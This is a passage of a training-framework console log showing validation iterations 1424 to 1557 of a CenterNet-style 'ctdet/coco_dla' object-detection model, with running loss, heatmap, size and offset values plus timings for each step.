2.3596 |off_loss 0.0406 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1424/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8493 |hm_loss 0.5729 |wh_loss 2.3580 |off_loss 0.0406 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1425/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8487 |hm_loss 0.5725 |wh_loss 2.3563 |off_loss 0.0406 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1426/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8482 |hm_loss 0.5722 |wh_loss 2.3547 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1427/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8476 |hm_loss 0.5718 |wh_loss 2.3530 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1428/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8471 |hm_loss 0.5715 |wh_loss 2.3514 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1429/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8465 |hm_loss 0.5711 |wh_loss 2.3497 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1430/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8460 |hm_loss 0.5707 |wh_loss 2.3481 |off_loss 0.0404 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1431/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8454 |hm_loss 0.5704 |wh_loss 2.3464 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1432/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8449 |hm_loss 0.5700 |wh_loss 2.3448 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1433/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8443 |hm_loss 0.5697 |wh_loss 2.3432 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1434/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8438 |hm_loss 0.5693 |wh_loss 2.3415 |off_loss 0.0403 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1435/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8432 |hm_loss 0.5689 |wh_loss 2.3399 |off_loss 0.0403 |Data 0.008s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1436/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8427 |hm_loss 0.5686 |wh_loss 2.3383 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1437/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8421 |hm_loss 0.5682 |wh_loss 2.3366 |off_loss 0.0402 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1438/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8416 |hm_loss 0.5679 |wh_loss 2.3350 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1439/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8410 |hm_loss 0.5675 |wh_loss 2.3334 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1440/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8405 |hm_loss 0.5671 |wh_loss 2.3318 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1441/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8399 |hm_loss 0.5668 |wh_loss 2.3302 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1442/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8394 |hm_loss 0.5664 |wh_loss 2.3285 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1443/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8388 |hm_loss 0.5661 |wh_loss 2.3269 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1444/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8383 |hm_loss 0.5657 |wh_loss 2.3253 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1445/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8377 |hm_loss 0.5654 |wh_loss 2.3237 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1446/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8372 |hm_loss 0.5650 |wh_loss 2.3221 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1447/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8367 |hm_loss 0.5647 |wh_loss 2.3205 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1448/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8361 |hm_loss 0.5643 |wh_loss 2.3189 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1449/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8356 |hm_loss 0.5640 |wh_loss 2.3173 |off_loss 0.0399 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1450/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8351 |hm_loss 0.5636 |wh_loss 2.3157 |off_loss 0.0399 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1451/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8345 |hm_loss 0.5633 |wh_loss 2.3141 |off_loss 0.0398 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1452/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8340 |hm_loss 0.5629 |wh_loss 2.3125 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1453/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8335 |hm_loss 0.5626 |wh_loss 2.3109 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1454/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8329 |hm_loss 0.5623 |wh_loss 2.3093 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1455/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8324 |hm_loss 0.5619 |wh_loss 2.3078 |off_loss 0.0397 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1456/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8319 |hm_loss 0.5616 |wh_loss 2.3062 |off_loss 0.0397 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1457/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8314 |hm_loss 0.5612 |wh_loss 2.3046 |off_loss 0.0397 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1458/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8308 |hm_loss 0.5609 |wh_loss 2.3030 |off_loss 0.0396 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1459/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8303 |hm_loss 0.5605 |wh_loss 2.3014 |off_loss 0.0396 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1460/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8298 |hm_loss 0.5602 |wh_loss 2.2999 |off_loss 0.0396 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1461/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8292 |hm_loss 0.5599 |wh_loss 2.2983 |off_loss 0.0396 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1462/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8287 |hm_loss 0.5595 |wh_loss 2.2967 |off_loss 0.0395 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1463/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8282 |hm_loss 0.5592 |wh_loss 2.2951 |off_loss 0.0395 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1464/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8277 |hm_loss 0.5588 |wh_loss 2.2936 |off_loss 0.0395 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1465/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8271 |hm_loss 0.5585 |wh_loss 2.2920 |off_loss 0.0395 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1466/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8266 |hm_loss 0.5581 |wh_loss 2.2905 |off_loss 0.0394 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1467/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8261 |hm_loss 0.5578 |wh_loss 2.2889 |off_loss 0.0394 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1468/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8256 |hm_loss 0.5574 |wh_loss 2.2873 |off_loss 0.0394 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1469/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8250 |hm_loss 0.5571 |wh_loss 2.2858 |off_loss 0.0393 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1470/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8245 |hm_loss 0.5568 |wh_loss 2.2842 |off_loss 0.0393 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1471/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8240 |hm_loss 0.5564 |wh_loss 2.2827 |off_loss 0.0393 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1472/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8235 |hm_loss 0.5561 |wh_loss 2.2811 |off_loss 0.0393 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1473/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8229 |hm_loss 0.5557 |wh_loss 2.2796 |off_loss 0.0392 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1474/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8224 |hm_loss 0.5554 |wh_loss 2.2780 |off_loss 0.0392 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1475/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8219 |hm_loss 0.5551 |wh_loss 2.2765 |off_loss 0.0392 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1476/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8214 |hm_loss 0.5547 |wh_loss 2.2749 |off_loss 0.0392 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1477/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8208 |hm_loss 0.5544 |wh_loss 2.2734 |off_loss 0.0391 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1478/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8203 |hm_loss 0.5540 |wh_loss 2.2719 |off_loss 0.0391 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1479/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8198 |hm_loss 0.5537 |wh_loss 2.2703 |off_loss 0.0391 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1480/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8193 |hm_loss 0.5534 |wh_loss 2.2688 |off_loss 0.0391 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1481/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8188 |hm_loss 0.5530 |wh_loss 2.2673 |off_loss 0.0390 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1482/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8183 |hm_loss 0.5527 |wh_loss 2.2657 |off_loss 0.0390 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1483/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8177 |hm_loss 0.5523 |wh_loss 2.2642 |off_loss 0.0390 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1484/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8172 |hm_loss 0.5520 |wh_loss 2.2627 |off_loss 0.0389 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1485/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8167 |hm_loss 0.5517 |wh_loss 2.2612 |off_loss 0.0389 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1486/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8162 |hm_loss 0.5513 |wh_loss 2.2596 |off_loss 0.0389 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1487/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8157 |hm_loss 0.5510 |wh_loss 2.2581 |off_loss 0.0389 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1488/2110]|Tot: 0:00:32 |ETA: 0:00:00 |loss 0.8152 |hm_loss 0.5507 |wh_loss 2.2566 |off_loss 0.0388 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1489/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8147 |hm_loss 0.5503 |wh_loss 2.2551 |off_loss 0.0388 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1490/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8141 |hm_loss 0.5500 |wh_loss 2.2536 |off_loss 0.0388 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1491/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8136 |hm_loss 0.5497 |wh_loss 2.2521 |off_loss 0.0388 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1492/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8131 |hm_loss 0.5493 |wh_loss 2.2506 |off_loss 0.0387 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1493/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8126 |hm_loss 0.5490 |wh_loss 2.2491 |off_loss 0.0387 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1494/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8121 |hm_loss 0.5487 |wh_loss 2.2476 |off_loss 0.0387 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1495/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8116 |hm_loss 0.5483 |wh_loss 2.2461 |off_loss 0.0387 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1496/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8111 |hm_loss 0.5480 |wh_loss 2.2446 |off_loss 0.0386 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1497/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8106 |hm_loss 0.5477 |wh_loss 2.2431 |off_loss 0.0386 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1498/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8101 |hm_loss 0.5473 |wh_loss 2.2416 |off_loss 0.0386 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1499/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8096 |hm_loss 0.5470 |wh_loss 2.2401 |off_loss 0.0386 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1500/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8091 |hm_loss 0.5467 |wh_loss 2.2386 |off_loss 0.0385 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1501/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8086 |hm_loss 0.5464 |wh_loss 2.2371 |off_loss 0.0385 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1502/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8081 |hm_loss 0.5460 |wh_loss 2.2356 |off_loss 0.0385 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1503/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8076 |hm_loss 0.5457 |wh_loss 2.2341 |off_loss 0.0385 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1504/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8071 |hm_loss 0.5454 |wh_loss 2.2326 |off_loss 0.0384 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1505/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8066 |hm_loss 0.5450 |wh_loss 2.2311 |off_loss 0.0384 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1506/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8061 |hm_loss 0.5447 |wh_loss 2.2297 |off_loss 0.0384 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1507/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8056 |hm_loss 0.5444 |wh_loss 2.2282 |off_loss 0.0384 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1508/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8051 |hm_loss 0.5441 |wh_loss 2.2267 |off_loss 0.0383 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1509/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8046 |hm_loss 0.5437 |wh_loss 2.2252 |off_loss 0.0383 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1510/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8041 |hm_loss 0.5434 |wh_loss 2.2238 |off_loss 0.0383 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1511/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8036 |hm_loss 0.5431 |wh_loss 2.2223 |off_loss 0.0383 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1512/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8031 |hm_loss 0.5428 |wh_loss 2.2208 |off_loss 0.0382 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1513/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8026 |hm_loss 0.5424 |wh_loss 2.2193 |off_loss 0.0382 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1514/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8021 |hm_loss 0.5421 |wh_loss 2.2179 |off_loss 0.0382 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1515/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8016 |hm_loss 0.5418 |wh_loss 2.2164 |off_loss 0.0382 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1516/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8011 |hm_loss 0.5415 |wh_loss 2.2150 |off_loss 0.0381 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1517/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8006 |hm_loss 0.5412 |wh_loss 2.2135 |off_loss 0.0381 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1518/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.8001 |hm_loss 0.5408 |wh_loss 2.2120 |off_loss 0.0381 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1519/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7996 |hm_loss 0.5405 |wh_loss 2.2106 |off_loss 0.0381 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1520/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7991 |hm_loss 0.5402 |wh_loss 2.2091 |off_loss 0.0380 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1521/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7986 |hm_loss 0.5399 |wh_loss 2.2077 |off_loss 0.0380 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1522/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7981 |hm_loss 0.5395 |wh_loss 2.2062 |off_loss 0.0380 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1523/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7977 |hm_loss 0.5392 |wh_loss 2.2048 |off_loss 0.0380 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1524/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7972 |hm_loss 0.5389 |wh_loss 2.2033 |off_loss 0.0379 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1525/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7967 |hm_loss 0.5386 |wh_loss 2.2019 |off_loss 0.0379 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1526/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7962 |hm_loss 0.5383 |wh_loss 2.2005 |off_loss 0.0379 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1527/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7957 |hm_loss 0.5379 |wh_loss 2.1990 |off_loss 0.0379 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1528/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7952 |hm_loss 0.5376 |wh_loss 2.1976 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1529/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7947 |hm_loss 0.5373 |wh_loss 2.1961 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1530/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7942 |hm_loss 0.5370 |wh_loss 2.1947 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1531/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7938 |hm_loss 0.5367 |wh_loss 2.1933 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1532/2110]|Tot: 0:00:33 |ETA: 0:00:00 |loss 0.7933 |hm_loss 0.5364 |wh_loss 2.1918 |off_loss 0.0377 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1533/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7928 |hm_loss 0.5360 |wh_loss 2.1904 |off_loss 0.0377 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1534/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7923 |hm_loss 0.5357 |wh_loss 2.1890 |off_loss 0.0377 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1535/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7918 |hm_loss 0.5354 |wh_loss 2.1876 |off_loss 0.0377 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1536/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7913 |hm_loss 0.5351 |wh_loss 2.1861 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1537/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7909 |hm_loss 0.5348 |wh_loss 2.1847 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1538/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7904 |hm_loss 0.5345 |wh_loss 2.1833 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1539/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7899 |hm_loss 0.5342 |wh_loss 2.1819 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1540/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7894 |hm_loss 0.5338 |wh_loss 2.1805 |off_loss 0.0375 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1541/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7889 |hm_loss 0.5335 |wh_loss 2.1790 |off_loss 0.0375 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1542/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7885 |hm_loss 0.5332 |wh_loss 2.1776 |off_loss 0.0375 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1543/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7880 |hm_loss 0.5329 |wh_loss 2.1762 |off_loss 0.0375 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1544/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7875 |hm_loss 0.5326 |wh_loss 2.1748 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1545/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7870 |hm_loss 0.5323 |wh_loss 2.1734 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1546/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7866 |hm_loss 0.5320 |wh_loss 2.1720 |off_loss 0.0374 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1547/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7861 |hm_loss 0.5317 |wh_loss 2.1706 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1548/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7856 |hm_loss 0.5314 |wh_loss 2.1692 |off_loss 0.0373 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1549/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7852 |hm_loss 0.5311 |wh_loss 2.1678 |off_loss 0.0373 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1550/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7847 |hm_loss 0.5307 |wh_loss 2.1664 |off_loss 0.0373 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1551/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7842 |hm_loss 0.5304 |wh_loss 2.1650 |off_loss 0.0373 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1552/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7837 |hm_loss 0.5301 |wh_loss 2.1636 |off_loss 0.0372 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1553/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7833 |hm_loss 0.5298 |wh_loss 2.1622 |off_loss 0.0372 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1554/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7828 |hm_loss 0.5295 |wh_loss 2.1608 |off_loss 0.0372 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1555/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7875 |hm_loss 0.5316 |wh_loss 2.1845 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1556/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7922 |hm_loss 0.5337 |wh_loss 2.2085 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1557/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7965 |hm_loss 